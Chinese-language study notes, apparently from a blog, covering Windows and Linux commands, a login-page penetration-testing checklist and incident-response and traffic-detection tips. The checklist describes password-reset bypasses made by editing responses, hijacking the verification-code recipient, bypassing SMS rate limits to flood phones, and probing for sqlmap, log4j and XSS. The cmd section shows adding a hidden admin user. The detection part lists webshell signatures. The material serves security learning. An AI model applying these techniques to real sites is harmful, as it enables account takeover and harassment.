del a                       //删除当前目录下的a文件夹里的所有非只读文件(不删除子目录下的文件,删除前确认 )
del /f a                     //删除当前目录下a文件夹的所有文件(包括只读文件,不删除子目录下的文件,会进行确认,等价于del /f a\*)
del /f /s /q a x:\ b\*.doc        //删除当前目录下a文件夹中所有文件以及x:\b\下所有doc文件(包括只读文件,递归子目录下的文件,直接删除不确认)
二.文件查看
1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.ini                         //逐屏显示当目下1.ini的文本内容(空格:下一屏 q:退出)
三.特殊符号
&           // 顺序执行多条命令,不管是否执行成功
&&         // 顺序执行多条命令,遇到执行错误的命令后停止执行后面的命令
||            //顺序执行多条命令,遇到执行正确的命令后停止执行后面的命令
 ,           //在特殊情况下可代替空格
 ;           //隔开相同命令的多个目标用,若果执行中发生错误返回错误报告,但继续执行。
四.输出
echo.                // 输出一个"回车换行",空白行
echo off            // 后续所有命令在执行前,不打印出命令的内容
echo on            // 后续的所有命令在执行前先打印出命令的内容
echo 123          // 输出123到终端屏幕
echo "我!"         // 输出我!到终端屏幕
echo a > 1.txt    // 输出a的字符串到当前目录中的1.txt文件中(以覆盖的方式)
五.文本处理
1.edit 1.txt        // 编辑1.txt文件(进入edit编辑器,alt选对应菜单)
find  文件中搜索字符
findstr  文件中搜索字符串
/n带行显示 /i不区分大小写 /c只显示找到的次数 /v//只显示未包含123的行
六.网络操作
ping baidu.com                         //测试与baidu服务器的连接情况
ping 220.181.111.86                 //测试与220.181.111.86的连接情况
ping x                                        //测试与机器名为x的机器的连接情况
ping -l(L) 60000 -n 5 qq.com    //向qq.com发送5次60000字节的ping
ping -n 6 127.0.0.1            //对当前主机执行6次ping操作(花费时间为5s)
ping -t baidu.com               //不断的测试baidu服务器发连接情况(ctrl+pause break:查看ping的统计信息;ctrl+c终止当前任务)
ipconfig /all                        //查看本地ip地址等详细信息
ipconfig /displaydns           //显示本地dns缓存的内容
ipcondig /flushdns              //清除本地dns缓存的内容
nslookup www.x.com         //获取www.x.com的域名解析
netstat -a                           //查看开启了哪些端口
netstat -n                           //查看端口的网络连接情况
netstat -v                            //查看正在进行的工作
netstat -p tcp                      //查看tcp协议的使用情况
tracert 182.140.167.44      //查看本机到达182.140.167.44的路由路径
route print                          //显示出ip路由
telnet 182.140.167.44 8000  //探测182.140.167.44是否使用TCP协议监听8000端口(telnet命令不支持UDP端口检测)
七.进程操作
tasklist                                                              //显示当前运行的进程信息(可查看PID)
taskkill                                                              //结束指定的进程
taskkill /im a.exe                                              //结束名为a.exe的进程
taskkill /pid 1230 /pid 1241 /pid 1253 /t           //结束pid为1230、1241、和1253的进程以及由它们启动起来的子进程
taskkill /f /im a.exe /t                                        //强制结束名为a.exe的进程以及由它启动起来的子进程
八.用户操作
net user                                                           //查看当前机器上的用户
net user administrator                                     //查看当前机器上的administrator用户的信息
net user x /active:yes                                      //启用x用户
net user a 123456 /add                                   //新建一个名为a,密码为123456的用户
net localgroup administrators a /add               //把名为a的用户添加到管理员用户组,使其具有管理员权限
net user a /del                                                 //删除名为a的用户
九.其他基本操作
cls                    //清除屏幕
ver                    //显示当前windows系统的版本号
winver              //弹框显示当前windows
vol                    //显示当前分区的卷标
label                 //显示当前分区的卷标,同时提示输入新卷标
date    //设置新的当前日期(格式:YYYY/MM/DD)
date /t               //显示当前时间
start                  // 运行某程序或命令
exit                   //退出当前cmd窗口
color                 //设置当前cmd窗口背景色和字体颜色(前景色)
shutdown          //关闭、重启、注销、休眠计算机
    shutdown /s                                  //关闭计算机
    shutdown /s /t 600                        //600s后,关闭本地计算机
    shutdown /a                                  //终止系统关闭
    shutdown /r                                   //关闭并重启本地计算机
    shutdown /m 192.168.1.166 /r      //关闭并重启ip为192.168.1.166的计算机
    shutdown /g                                   //关闭并重启计算机,重启后重新启动所有注册的应运程序
    shutdown /I                                    //注销本地计算机
    shutdown /h /f                                //休眠本地计算机(强制关闭正在运行的营运程序,不前台警告用户)
    shutdown /s                                   //关闭计算机

Linux常用指令

1. ls:列出当前目录中的文件和子目录
2. pwd:显示当前工作目录的路径
3. cd:切换工作目录
4. mkdir:创建新目录
5. rmdir:删除空目录
6. rm:删除文件或目录
7. cp:复制文件或目录
8. mv:移动或重命名文件或目录
9. touch:创建空文件或更新文件的时间戳
10. cat:连接和显示文件内容
11. more/less:逐页显示文本文件内容
12. head/tail:显示文件的前几行或后几行
13. grep:在文件中搜索指定文本
14. ps:显示当前运行的进程
15. kill:终止进程
16. ifconfig/ip:查看和配置网络接口信息
17. ping:测试与主机的连通性
18. wget/curl:从网络下载文件
19. chmod:修改文件或目录的权限
20. chown:修改文件或目录的所有者
21. tar:用于压缩和解压文件和目录
22. df/du:显示磁盘使用情况
23. mount/umount:挂载和卸载文件系统
24. psql/mysql:用于与PostgreSQL或MySQL数据库交互的命令行工具
25. top/htop:显示系统资源的实时使用情况和进程信息
26. ssh:远程登录到其他计算机
27. scp:安全地将文件从本地复制到远程主机,或从远程主机复制到本地
28. find:在文件系统中查找文件和目录
29. grep:在文本中搜索匹配的行,并可以使用正则表达式进行高级搜索
30. sed:流编辑器,用于文本处理和替换
31. awk:用于文本处理和数据提取的文本处理工具
32. ssh-keygen:生成SSH密钥对,用于身份验证远程服务器
33. date:显示或设置系统日期和时间
34. echo:将文本输出到标准输出
35. ln:创建硬链接或符号链接
36. uname:显示系统信息
37. shutdown/reboot:关闭或重新启动系统
38. who/w:显示当前登录的用户信息
39. curl:用于与网络资源进行交互,支持各种协议
40. zip/unzip:用于压缩和解压ZIP文件
41. chmod/chown:修改文件或目录的权限和所有者
42. useradd/userdel:用于添加和删除用户账户
43. passwd:更改用户密码
44. cron:定时任务管理器,用于自动执行计划任务
45. uptime:显示系统的运行时间和负载情况
46. hostname:显示或设置计算机的主机名
47. iptables/ufw:用于配置防火墙规则
48. netstat/ss:显示网络连接信息
49. ps/top/htop:显示进程信息和系统资源使用情况
50. history:查看命令历史记录
51. free:显示系统内存使用情况
52. lsblk/fdisk:查看磁盘分区信息和管理磁盘
53. nc:用于网络连接测试和数据传输
54. stat:显示文件或目录的详细信息
55. nmcli:用于管理网络连接的命令行工具
56. tailf:实时追踪文件的末尾,类似于tail -f
57. scp:安全地将文件从本地复制到远程主机,或从远程主机复制到本地
58. rsync:用于在本地和远程系统之间同步文件和目录
59. dd:用于复制和转换文件
60. sudo:以超级用户权限运行命令

给你一个登录页面,你该如何做渗透测试呢?

万能密码/弱口令/空口令

  • 虽然几率很小,但也就随手试一下的事情:

  • 如果是一些开源平台或网络设备或安全设备之类的一定要去尝试一下默认口令。

爆破/枚举

这里有个前提,就是没有验证码,有验证码的话,看后面检测验证码。

用户名枚举:我们尝试完万能密码和弱口令都无果以后,可以使用Burp抓包看看用户名是否可枚举,通过返回包的大小来判断用户存在与否。

密码爆破:然后拿着枚举出来的账号进行密码的爆破,通常Web就是用Burp

Sql注入

有的系统在登录口就存在SQL注入,我们通过正常登录进行抓包,然后发送到repeater进行不断尝试。

或者直接Sqlmap梭哈,用Burp抓个登录包,放入txt,然后用sqlmap跑。

密码找回功能

1、用户名枚举:如果页面存在密码找回功能的话,利用密码找回功能也可以用Burp抓个包,看看返回包内容是否一致,如果不一致可能存在用户枚举。

2、账号相关敏感信息泄漏:然后通过枚举到的用户名进入密码找回功能,还是要抓个包,看看返回内容,指不定有惊喜哦,也很有可能返回一个携带敏感信息的json串。

3、应答中存在影响后续逻辑的状态参数:有的还可以任意密码重置,比如

客户端发一个验证码包,我们这时随意输入验证码,发包,返回包。

返回包错误的回显为{"status":0}

将返回包的东西换成{"status":1},即可重置密码

4、重置凭证泄漏:有的是使用手机号进行密码找回,那么我们可以通过Burp抓包看看是否会把code返回过来,进行前端验证。

5、用户混淆:有的还可以通过自己的手机号接收一个验证码,然后这个验证码可以重复利用,code没有进行销毁。没有一个手机号对应一个验证码,只不过是检索是否有这个验证码。

6、重置凭证未校验:修改密码的时候,抓个包,把request包里的手机号修改为自己手机号,接收到验证码,可能就任意密码重置了。

注册功能

1、注册功能大多时候都是手机号或邮箱,而且是短位的验证码,这时候我们其实最好用的就是爆破,直接任意用户注册一波。

2、注册时如果显示该用户已注册,在注册新用户的时候抓包,把自己的信息改为admin,有可能覆盖admin,重新注册。

未授权登录、认证绕过

1、当我们尝试登录时候,抓包看返回结果,看到一些参数就修改为true、Success、1等就可能登录绕过。

2、如果是通用的框架的话,可以找其他一个弱口令进去,抓一个正常登录的返回包,然后复制过来,替换掉返回包,很可能就绕过登录了。

3、有一些跳转登录的话,修改返回包为200ok,会直接跳到正确页面。

4、修改cookie的值看时候可以直接越权使用管理员权限

目录扫描/目录遍历

目录扫描是一个存在惊喜的地方,说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等。

禁用JS 分析F12的源代码

禁用JS和查看源代码,有时候也会有意想不到的惊喜。插件Disable JavaScript

例如某些重定向,某些权限缺失,在我们未授权进入后台一瞬间,就会重定向回去登录页面,而如果此时我们禁用了JS,则可以进行一定权限的控制。

查看源代码则不用多说,有的不大聪明的程序员可能会在源代码里泄露一些不可告人的秘密,例如测试账号,还有我们可能会找到一些网站的后台结构,以及JS接口。

验证码相关

1、验证码可修改接收者

可将A账号的修改密码验证码接受者修改为B,这样A账号的验证码就会发到B的手机上,从而B可以重置A的账号密码

例如A账号moblephone=13333888888 ,这点是可控的,我们修改为moblephone=18888888888,即可收到A账号的重置验证码

骚操作:再比如moblephone=13333888888,我们可以修改为moblephone=13333888888,18888888888,看两个手机号是否都可以收到验证码

2、登录验证码可绕过

可能存在万能验证码0000或者9999,不过此类情况较为罕见。更多的情况为修改返回包,可能会出现可绕过逻辑判断。

3、验证码可爆破

验证码失效的时间过长,并且为纯数字或者过短字符,导致可被爆破。

4、验证码回显前端

有的网站验证码会回显到前端,只需要抓包即可获得验证码

5、验证码不刷新

验证码不会自动刷新,导致我们可一码多次使用,我们只需要输入一次验证码就可以让我们能够开始进行暴力破解。

6、验证码识别

可以通过burp插件captcha-killer做验证码识别爆破

JWT垂直越权

JWT全称叫 JSON Web Token,现代 web 应用中替代 cookie 表示用户身份凭证的载体。

通常 token 要么用作身份凭证、要么用于防 CSRF,若是前者,就不应该与同样表示身份凭证的 cookie 同时存在,若是后者,通常为 16 位或 32 位的哈希值,而非用点号分隔的三段 base64。于是,依次将每段解码:

短信轰炸/邮箱轰炸

短信轰炸很常见,一般在发送验证码后抓包,不断repeate即可,如果做了一定防护的话,在添加空格,或者特殊符号,或+86等都可以进行绕过。未经过防护的短信爆破十分常见。一般人可能抓包重放失败后就放弃了。

发送短信处一般每隔60秒才能发送一次,但若是发包时在手机号后加上一个空格、加号或换行符等特殊字符。然后重新发送,这时若发送成功,则说明可绕过限制。在intruder模块只要持续递增空格就可造成无限短信轰炸

框架漏洞shiro、log4j

shiro:shiro如果存在默认密钥,可以构造remeberme请求头执行任意命令。

log4j:可以通过在账号密码处或者请求头处插入指定payload看是否可以接收到jndi请求。

XSS

x-forward-for:通过在x-forward-for请求头插入xss payload,看管理员是否会查看日志触发xss。

username:通过在账号处插xss payload,看管理员是否会查看日志触发xss。

应急响应

应急响应之Windows/Linux(入侵排查篇)_主机入侵排查应急响应-CSDN博客

Windows入侵排除

  • 一、检查系统账号安全
  • 二、检查异常端口、进程
  • 三、检查启动项、计划任务和服务
  • 四、检查系统相关信息
  • 五、日志分析
  • 六、工具查杀

应急响应大致可以分为五个部分,其基本流程包括收集信息、判断类型、深入分析、清理处置、产出报告。

收集信息:收集客户信息和中毒主机信息,包括样本。

判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS等等。

深入分析:日志分析、进程分析、启动项分析、样本分析。

清理处置:直接杀掉进程,删除文件,打补丁,抑或是修复文件。

产出报告:整理并输出完整的安全事件报告。

勒索和挖矿事件,可以占比50%以上,而且这两种安全事件业务特征极其鲜明,因此可以单独提流程出来处置。

信息收集表

客户名称       什么区域的什么客户

感染主机数   感染了多数台主机

补丁情况      打了哪些补丁,是否存在补丁漏打

中毒现象      勒索/挖矿/DoS/僵尸网络/后门/木马

帐号密码      确认是否有弱密码

对外开发端口   对外开发了哪些端口

开启的服务    开启了哪些服务

操作系统版本    操作系统版本信息

客户需求    确认客户具体需求

取证要素:取证并非毫无头绪的,病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。

总之,可以归结为如下4点要素:流量、内存、模块、启动项。

流量特征分析

一、流量特征

1、SQL注入
(1)对sqlmap的判断:若攻击者使用sqlmap且未加 --random-agent参数,则可以通过捕获请求包的user-agent字段来判断攻击者是否在使用sqlmap进行攻击;sqlmap在进行初识监测时会进行一些预检测,第一条语句是对数据库类型和XSS漏洞进行监测,且这句话几乎每次注入都不变,即我们可以通过XSS测试语句判断。

(2)出现一些特殊字符:比如单引号括号'(

(3)出现SQL命令或语句:增加、删除、修改、查询

(4)出现注释符号:比如连续两个减号--

(5)url上出现万能密码字段:'or'1'='1

2、XSS
payload包含<script></script>标签;

标签的一些事件:比如onclick、ondbclick、onload;

标签的超链接属性:比如href、src。

3、挖矿行为
若存在连续几个数据包中都符合stratum协议的json载荷特征,那么主机存在挖矿,stratum协议是目前主流的矿机和矿池间的TCP通讯协议,也可通过CPU使用率来判断,找到CPU占用高的进程获取PID信息。

二、webshell流量特征

1、中国菜刀
请求体中存在eval、base64等特征字符;

连接过程中使用base64编码对发送的指令进行加密;

还有一段以QG开头,7J结尾的固定代码。

2、蚁剑
默认的user-agent请求头是antsword XXX(不过可以修改)

一般将payload进行分段,分别进行base64编码;

一般具有像eval这样的关键字和@ini_set("display","0");这段代码。

3、冰蝎
PHP代码中可能存在eval、assert等关键词;

jsp代码中可能会有get class(),get class loader()等字符特征。

三、对告警流量分析

1、信息泄露
看访问路径中是否存在特殊文件或路径

2、SQL注入
看请求参数、请求头、请求体中是否包含SQL语句或关键字(比如union select)

3、文件上传
看请求体中是否包含代码内容(如果响应体中有success等上传成功的字样,或者有该文件的访问记录,则说明webshell上传成功)

4、XSS
看请求参数或请求体中是否包含JavaScript代码,将响应体的数据复制到文件中执行,如果弹窗,说明攻击成功。

5、代码执行
看请求参数、请求头、请求体中是否包含恶意代码(比如请求体中包含PHP代码,fastjson反序列化攻击,thinkph5远程代码执行)

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com